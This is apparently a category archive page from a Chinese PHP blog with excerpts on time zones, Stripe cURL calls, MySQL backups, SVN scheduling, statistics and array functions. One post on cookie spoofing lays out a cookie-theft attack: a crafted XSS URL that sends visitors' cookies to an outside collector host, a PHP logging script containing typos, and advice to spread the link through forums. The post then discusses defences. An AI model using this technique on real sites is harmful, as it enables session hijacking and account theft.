分类目录归档:PHP

php时间国际化和本地转换

假如一个网站面临国际人群,那么可能分布在不同的时区,那么最好存入UTC时间在数据库,然后读出来以后,根据人群的位置,进行计算时间(月小升认为输出的还是UTC时间,但是要进行后处理,根据读者的时区用JS 来重新输出时间,就可以实现国际化了) <?php echo ‘<meta charset="UTF-8">’;   date_default_timezone_set("UTC"); $time1 = date("Y-m-d H:i:s"); $times1 = strtotime($time1);   echo time()."<br />";   echo "UTC时间:".$time1." – ".$times1."<br>";   date_default_timezone_set("PRC"); $time1 = date("Y-m-d H:i:s"); $times1 = strtotime($time1); echo "北京时间:".$time1." – ".$times1."<br>"; echo "当前时区:".date_default_timezone_get()."<br>";   … 继续阅读

发表在 PHP | 标签为 , , | 一条评论

利用CURL直接调用Stripe接口

<?php   function test(){ var_dump($_POST);   $token = $_POST[’stripeToken’]; echo $token;   var_dump($_GET); $url = ‘https://api.stripe.com/v1/charges’; $data = array( "amount"=>’2000′, "currency"=>’usd’, "source"=>$token, "metadata[order_id]"=>’6735′, ); $i = 0; foreach ($data as $k=>$v){ $v = urlencode(stripslashes($v)); if($i==0){ $req .= "{$k}={$v}"; }else{ $req … 继续阅读

发表在 PHP | 标签为 , , | 一条评论

Cookie欺骗及反欺骗 论cookie安全

Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。 浏览器一般只允许存放300个Cookie, 每个站点最多存放20个Cookie, 每个Cookie的大小限制为4KB, Cookie代表了你的身份,那么安全性就有得考虑了。 1.Cookie欺骗: Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。 别人穿了你的衣服,冒充你去做了新郎 2.Cookie截获 Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。  这个就是一些新手,还有一些网站,傻乎乎的把用户的账户和密码,明文在互联网上传送。核心信息都是加密传送的。记住一点,你发出的任何经过浏览器的信息,提交的表单,不仅仅服务器知道,还有网络传送过程的经历的那些路由器 Cookie截获 http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6;
将其中”“更换为:
”“再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是”%2b”为符号”+”的URL编码,因为”+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。
 步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下: <?php  $info=getenv("OUERY_STRING");  if($info){   $fp=fopen("info.tXt","a");   fwrite($fp,!info."\n");  fclose($fp); }  header("Location:http://www.XXX.net"); ?> 将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。  明白为啥那么多安全团队都会明确指出你的search.php的参数,可以注入javascript脚本是多么的危险啊 废话那么多。只是我好奇 如何防止cookie被伪装,盗取 答案1:不用cookie,用session (session的硬伤是无法做到保持用户一年免输入密码登录) 答案2:用cookie,但是我加密 比如常规情况下我保存一个cookie username setcookie("username",$username); 现在我保存2个 username, token setcookie("username",$username); setcookie("token",$token); $token 是怎么来的 … 继续阅读

发表在 JAVA, PHP, WEB前端 | 标签为 , , | 留下评论

php 过滤非中文,数字,字母的特殊字符

搜索引擎吃进数据的时候,是不需要那些奇怪的字符的 $str = "?><?》”\"《喂喂喂,555?,12312。 3》《|“:L}{P+_)In thsdff0?><M<>\"s~!@#$%^&*()+_)(*&dsdffsde~!@#¥%……&*5545445()+——)(*&……%¥#@!~ 电影_后天 230809-peopl.e die我d.(*&^%$#@!!~"; echo match_chinese($str);   function match_chinese($chars,$encoding=’utf8′) { $pattern =($encoding==’utf8′)?’/[\x{4e00}-\x{9fa5}a-zA-Z0-9,,。 ]/u’:'/[\x80-\xFF]/’; preg_match_all($pattern,$chars,$result); $temp =join(”,$result[0]); return $temp; }

发表在 PHP | 标签为 , , | 留下评论

thinkphp的调试信息如何关闭

经常上线的Thinkphp 项目带着debug信息,下面来关闭thinkphp的调试信息 1.在 /common/conf 修改config.php ‘SHOW_PAGE_TRACE’ =>FALSE, 2. 也修改了入口文件根目录下的index.php define(’APP_DEBUG’, false); 3.最后把 /Think/Common/Conf/debug.php 全都注释掉了。还是有调试的出来。 4.runtime 缓存文件全部删除掉

发表在 PHP | 标签为 | 留下评论

一次性备份mysql全部的数据库

遍历mysql 数据库 有多少表 #!/bin/sh BIN_DIR="/usr/local/mysql/bin" DATE=`date +%F` BCK_DIR="/backup/backupwebsite/mysql/all/$DATE" mkdir -p $BCK_DIR DBS=`mysql -Bse "show databases"|grep -v "information_schema" |grep -v "test"` for DB_NAME in $DBS do echo $DB_NAME done 一次性备份mysql数据库所有表 #!/bin/sh BIN_DIR="/usr/local/mysql/bin" DATE=`date +%F` BCK_DIR="/backup/backupwebsite/mysql/all/$DATE" mkdir -p $BCK_DIR DBS=`mysql -Bse "show … 继续阅读

发表在 Linux, PHP | 留下评论

windows下的TortoiseSVN自动提交SVN

写个bat 调用exe文件 svn.bat cd C:\Program Files\TortoiseSVN\bin start TortoiseProc.exe /command:update /path:"D:\SVNBack\" /closeonend:3 closeonend:3 没有异常就关闭窗口 测试的时候可以加上这两句 echo 提交完成,自动退出 pause 每隔一分钟执行一次提交(有点频繁,客观可以根据月小升的这个改成30分钟一次) /sc表示指定计划频率,/mo时间间隔,/tn指定的唯一任务名,/tr要执行的程序路径。更详细说明可以通过SCHTASKS /Create /?查看。 schtasks /create /sc minute /mo 1 /tn "mySvnTask" /tr D:\SVNBack\svn.bat 停止任务执行 schtasks /end /tn mySvnTask 删除任务执行 schtasks /delete /tn … 继续阅读

发表在 PHP | 标签为 , , | 留下评论

DEVSQL STDEVA 方差标准差概念,及代码实现

标准差主要为了测算样本离散的程度,比如用来衡量一个学生成绩的稳定性。股票价格的稳定性。数学的魔力还是蛮多的。 DEVSQ 返回数据点与各自样本平均值差的平方和 DEVSQ(number1,number2,…….)  Excel中有STDEV、STDEVP;STDEVA,STDEVPA四个函数,分别表示样本标准差、总体标准差;包含逻辑值运算的样本标准差、包含逻辑值运算的总体标准差(excel用的是“标准偏差”字样)。 在计算方法上的差异是:样本标准差^2=(样本方差/(数据个数-1));总体标准差^2=(总体方差/(数据个数))。 函数的excel分解: ⑴stdev()函数可以分解为(假设样本数据为A1:E10这样一个矩阵): stdev(A1:E10)=sqrt(DEVSQ(A1:E10)/(COUNT(A1:E10)-1)) ⑵stdevp()函数可以分解为(假设总体数据为A1:E10这样一个矩阵): stdevp(A1:E10)=sqrt(DEVSQ(A1:E10)/(COUNT(A1:E10))) 同样的道理stdeva()与stdevpa()也有同样的分解方法。 一般使用stdevp() 总体标准差 标准差(Standard Deviation),在概率统计中最常使用作为统计分布程度(statistical dispersion)上的测量。标准差定义是总体各单位标准值与其平均数离差平方的算术平均数的平方根。它反映组内个体间的离散程度。测量到分布程度的结果,原则上具有两种性质: 为非负数值, 与测量资料具有相同单位。一个总量的标准差或一个随机变量的标准差,及一个子集合样品数的标准差之间,有所差别。 标准计算公式: 假设有一组数值X₁,X₂,X₃,……Xn(皆为实数),其平均值(算术平均值)为μ,公式如图1。  标准差也被称为标准偏差,或者实验标准差,公式为  。 简单来说,标准差是一组数据平均值分散程度的一种度量。一个较大的标准差,代表大部分数值和其平均值之间差异较大;一个较小的标准差,代表这些数值较接近平均值。 <?php /* 方差计算 */   $arr = array();   $str = "95,85,75,65,55,45"; $arr … 继续阅读

发表在 PHP | 标签为 , | 留下评论

apache 自带压力测试工具ab 来场测试吧

apache自带压力测试工具 叫 ab 装了apache 在bin下就有了。 ab -n 20 -c 10 http://java-er.com/ -n 请求数量 -c并发数 你也可以 ab -n 1000 -c 100 your domain 返回结果 This is ApacheBench, Version 2.3 Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache … 继续阅读

发表在 JAVA, Linux, PHP | 标签为 , , | 留下评论

php数组的21个操作合并,拆分,删除,排序…

1. 合并数组 array_merge()函数将数组合并到一起,返回一个联合的数组。所得到的数组以第一个输入数组参数开始,按后面数组参数出现的顺序依次迫加。其形式为: array array_merge (array array1 array2…,arrayN) 这个函数将一个或多个数组的单元合并起来,一个数组中的值附加在前一个数组的后面。返回作为结果的数组。 如果输入的数组中有相同的字符串键名,则该键名后面的值将覆盖前一个值。然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。 如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。 2. 追加数组 array_merge_recursive()函数与array_merge()相同,可以将两个或多个数组合并在一起,形成一个联合的数组.两者之间的区别在于,当某个输入数组中的某个键己经存在于结果数组中时该函数会采取不同的处理方式.array_merge()会覆盖前面存在的键/值对,替换为当前输入数组中的键/值对,而array_merge_recursive()将把两个值合并在一起,形成一个新的数组,并以原有的键作为数组名。还有一个数组合并的形式,就是递归追加数组。其形式为: array array_merge_recursive(array array1,array array2[…,array arrayN]) 程序实例如下: 现在键 mango 指向一个数组,这个数组由两个颜色值组成的索引数组。 3. 连接数组 array_combine()函数会得到一个新数组,它由一组提交的键和对应的值组成。其形式为: array array_combine(array keys,array values) 注意,两个输入数组必须大小相同,不能为空。示例如下 4. 拆分数组 array_slice() array_slice()函数将返回数组中的一部分,从键offset开始,到offset+length位置结束。其形式: array array_slice (array array, int … 继续阅读

发表在 PHP | 标签为 , , | 留下评论